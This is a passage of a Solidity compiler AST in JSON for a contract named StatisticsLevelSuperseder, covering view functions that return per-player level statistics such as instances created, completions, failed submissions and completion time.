e":"saveNewLevel","nameLocation":"3820:12:117","parameters":{"id":56715,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56714,"mutability":"mutable","name":"level","nameLocation":"3841:5:117","nodeType":"VariableDeclaration","scope":56735,"src":"3833:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56713,"name":"address","nodeType":"ElementaryTypeName","src":"3833:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3832:15:117"},"returnParameters":{"id":56721,"nodeType":"ParameterList","parameters":[],"src":"3900:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":56750,"nodeType":"FunctionDefinition","src":"4049:225:117","nodes":[],"body":{"id":56749,"nodeType":"Block","src":"4208:66:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56745,"name":"globalNoOfInstancesCreatedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56497,"src":"4225:34:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56747,"indexExpression":{"id":56746,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56737,"src":"4260:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4225:42:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56744,"id":56748,"nodeType":"Return","src":"4218:49:117"}]},"functionSelector":"8b146ad6","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56740,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56737,"src":"4170:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56741,"kind":"modifierInvocation","modifierName":{"id":56739,"name":"playerExistsCheck","nameLocations":["4152:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"4152:17:117"},"nodeType":"ModifierInvocation","src":"4152:25:117"}],"name":"getTotalNoOfLevelInstancesCreatedByPlayer","nameLocation":"4058:41:117","parameters":{"id":56738,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56737,"mutability":"mutable","name":"player","nameLocation":"4108:6:117","nodeType":"VariableDeclaration","scope":56750,"src":"4100:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56736,"name":"address","nodeType":"ElementaryTypeName","src":"4100:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4099:16:117"},"returnParameters":{"id":56744,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56743,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56750,"src":"4195:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56742,"name":"uint256","nodeType":"ElementaryTypeName","src":"4195:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4194:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56765,"nodeType":"FunctionDefinition","src":"4324:229:117","nodes":[],"body":{"id":56764,"nodeType":"Block","src":"4485:68:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56760,"name":"globalNoOfInstancesCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56501,"src":"4502:36:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56762,"indexExpression":{"id":56761,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56752,"src":"4539:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4502:44:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56759,"id":56763,"nodeType":"Return","src":"4495:51:117"}]},"functionSelector":"763fdb45","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56755,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56752,"src":"4447:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56756,"kind":"modifierInvocation","modifierName":{"id":56754,"name":"playerExistsCheck","nameLocations":["4429:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"4429:17:117"},"nodeType":"ModifierInvocation","src":"4429:25:117"}],"name":"getTotalNoOfLevelInstancesCompletedByPlayer","nameLocation":"4333:43:117","parameters":{"id":56753,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56752,"mutability":"mutable","name":"player","nameLocation":"4385:6:117","nodeType":"VariableDeclaration","scope":56765,"src":"4377:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56751,"name":"address","nodeType":"ElementaryTypeName","src":"4377:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4376:16:117"},"returnParameters":{"id":56759,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56758,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56765,"src":"4472:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56757,"name":"uint256","nodeType":"ElementaryTypeName","src":"4472:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4471:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56780,"nodeType":"FunctionDefinition","src":"4600:222:117","nodes":[],"body":{"id":56779,"nodeType":"Block","src":"4755:67:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56775,"name":"globalNoOfFailedSubmissionsByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56505,"src":"4772:35:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56777,"indexExpression":{"id":56776,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56767,"src":"4808:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4772:43:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56774,"id":56778,"nodeType":"Return","src":"4765:50:117"}]},"functionSelector":"7a9b6dda","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56770,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56767,"src":"4717:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56771,"kind":"modifierInvocation","modifierName":{"id":56769,"name":"playerExistsCheck","nameLocations":["4699:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"4699:17:117"},"nodeType":"ModifierInvocation","src":"4699:25:117"}],"name":"getTotalNoOfFailedSubmissionsByPlayer","nameLocation":"4609:37:117","parameters":{"id":56768,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56767,"mutability":"mutable","name":"player","nameLocation":"4655:6:117","nodeType":"VariableDeclaration","scope":56780,"src":"4647:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56766,"name":"address","nodeType":"ElementaryTypeName","src":"4647:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4646:16:117"},"returnParameters":{"id":56774,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56773,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56780,"src":"4742:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56772,"name":"uint256","nodeType":"ElementaryTypeName","src":"4742:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4741:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56795,"nodeType":"FunctionDefinition","src":"4828:218:117","nodes":[],"body":{"id":56794,"nodeType":"Block","src":"4981:65:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56790,"name":"globalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56493,"src":"4998:33:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56792,"indexExpression":{"id":56791,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56782,"src":"5032:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4998:41:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56789,"id":56793,"nodeType":"Return","src":"4991:48:117"}]},"functionSelector":"36204198","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56785,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56782,"src":"4943:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56786,"kind":"modifierInvocation","modifierName":{"id":56784,"name":"playerExistsCheck","nameLocations":["4925:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"4925:17:117"},"nodeType":"ModifierInvocation","src":"4925:25:117"}],"name":"getTotalNoOfLevelsCompletedByPlayer","nameLocation":"4837:35:117","parameters":{"id":56783,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56782,"mutability":"mutable","name":"player","nameLocation":"4881:6:117","nodeType":"VariableDeclaration","scope":56795,"src":"4873:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56781,"name":"address","nodeType":"ElementaryTypeName","src":"4873:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4872:16:117"},"returnParameters":{"id":56789,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56788,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56795,"src":"4968:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56787,"name":"uint256","nodeType":"ElementaryTypeName","src":"4968:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4967:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56832,"nodeType":"FunctionDefinition","src":"5154:329:117","nodes":[],"body":{"id":56831,"nodeType":"Block","src":"5356:127:117","nodes":[],"statements":[{"expression":{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":56820,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":56810,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"5373:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":56812,"indexExpression":{"id":56811,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56799,"src":"5385:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5373:19:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":56814,"indexExpression":{"id":56813,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56797,"src":"5393:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5373:26:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":56815,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5400:8:117","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":56472,"src":"5373:35:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":56818,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5420:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":56817,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5412:7:117","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":56816,"name":"address","nodeType":"ElementaryTypeName","src":"5412:7:117","typeDescriptions":{}}},"id":56819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5412:10:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"5373:49:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"hexValue":"30","id":56828,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5475:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"id":56829,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"5373:103:117","trueExpression":{"expression":{"expression":{"baseExpression":{"baseExpression":{"id":56821,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"5425:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":56823,"indexExpression":{"id":56822,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56799,"src":"5437:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5425:19:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":56825,"indexExpression":{"id":56824,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56797,"src":"5445:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5425:26:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":56826,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5452:13:117","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":56481,"src":"5425:40:117","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":56827,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5466:6:117","memberName":"length","nodeType":"MemberAccess","src":"5425:47:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56809,"id":56830,"nodeType":"Return","src":"5366:110:117"}]},"functionSelector":"22ae77ec","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56802,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56799,"src":"5286:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56803,"kind":"modifierInvocation","modifierName":{"id":56801,"name":"playerExistsCheck","nameLocations":["5268:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"5268:17:117"},"nodeType":"ModifierInvocation","src":"5268:25:117"},{"arguments":[{"id":56805,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56797,"src":"5319:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56806,"kind":"modifierInvocation","modifierName":{"id":56804,"name":"levelExistsCheck","nameLocations":["5302:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"5302:16:117"},"nodeType":"ModifierInvocation","src":"5302:23:117"}],"name":"getTotalNoOfFailuresForLevelAndPlayer","nameLocation":"5163:37:117","parameters":{"id":56800,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56797,"mutability":"mutable","name":"level","nameLocation":"5209:5:117","nodeType":"VariableDeclaration","scope":56832,"src":"5201:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56796,"name":"address","nodeType":"ElementaryTypeName","src":"5201:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56799,"mutability":"mutable","name":"player","nameLocation":"5224:6:117","nodeType":"VariableDeclaration","scope":56832,"src":"5216:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56798,"name":"address","nodeType":"ElementaryTypeName","src":"5216:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5200:31:117"},"returnParameters":{"id":56809,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56808,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56832,"src":"5343:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56807,"name":"uint256","nodeType":"ElementaryTypeName","src":"5343:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5342:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56855,"nodeType":"FunctionDefinition","src":"5549:240:117","nodes":[],"body":{"id":56854,"nodeType":"Block","src":"5727:62:117","nodes":[],"statements":[{"expression":{"expression":{"baseExpression":{"baseExpression":{"id":56847,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"5744:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":56849,"indexExpression":{"id":56848,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56834,"src":"5756:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5744:19:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":56851,"indexExpression":{"id":56850,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56836,"src":"5764:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5744:26:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":56852,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5771:11:117","memberName":"isCompleted","nodeType":"MemberAccess","referencedDeclaration":56474,"src":"5744:38:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":56846,"id":56853,"nodeType":"Return","src":"5737:45:117"}]},"functionSelector":"e2d8716f","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56839,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56834,"src":"5660:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56840,"kind":"modifierInvocation","modifierName":{"id":56838,"name":"playerExistsCheck","nameLocations":["5642:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"5642:17:117"},"nodeType":"ModifierInvocation","src":"5642:25:117"},{"arguments":[{"id":56842,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56836,"src":"5693:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56843,"kind":"modifierInvocation","modifierName":{"id":56841,"name":"levelExistsCheck","nameLocations":["5676:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"5676:16:117"},"nodeType":"ModifierInvocation","src":"5676:23:117"}],"name":"isLevelCompleted","nameLocation":"5558:16:117","parameters":{"id":56837,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56834,"mutability":"mutable","name":"player","nameLocation":"5583:6:117","nodeType":"VariableDeclaration","scope":56855,"src":"5575:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56833,"name":"address","nodeType":"ElementaryTypeName","src":"5575:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56836,"mutability":"mutable","name":"level","nameLocation":"5599:5:117","nodeType":"VariableDeclaration","scope":56855,"src":"5591:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56835,"name":"address","nodeType":"ElementaryTypeName","src":"5591:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5574:31:117"},"returnParameters":{"id":56846,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56845,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56855,"src":"5717:4:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":56844,"name":"bool","nodeType":"ElementaryTypeName","src":"5717:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5716:6:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56894,"nodeType":"FunctionDefinition","src":"5863:396:117","nodes":[],"body":{"id":56893,"nodeType":"Block","src":"6062:197:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56877,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"baseExpression":{"id":56871,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56522,"src":"6080:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56873,"indexExpression":{"id":56872,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56857,"src":"6105:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6080:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56875,"indexExpression":{"id":56874,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56859,"src":"6113:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6080:39:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":56876,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6123:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"6080:44:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c206e6f7420636f6d706c65746564","id":56878,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6126:21:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_97ec797da71da3eef07ba9258d9abfd62f4b0fad4d5e52c97b7c838a0b385973","typeString":"literal_string \"Level not completed\""},"value":"Level not completed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_97ec797da71da3eef07ba9258d9abfd62f4b0fad4d5e52c97b7c838a0b385973","typeString":"literal_string \"Level not completed\""}],"id":56870,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6072:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56879,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6072:76:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56880,"nodeType":"ExpressionStatement","src":"6072:76:117"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56891,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"baseExpression":{"id":56881,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56522,"src":"6165:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56883,"indexExpression":{"id":56882,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56857,"src":"6190:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6165:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56885,"indexExpression":{"id":56884,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56859,"src":"6198:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6165:39:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"baseExpression":{"baseExpression":{"id":56886,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56516,"src":"6207:30:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56888,"indexExpression":{"id":56887,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56857,"src":"6238:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6207:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => 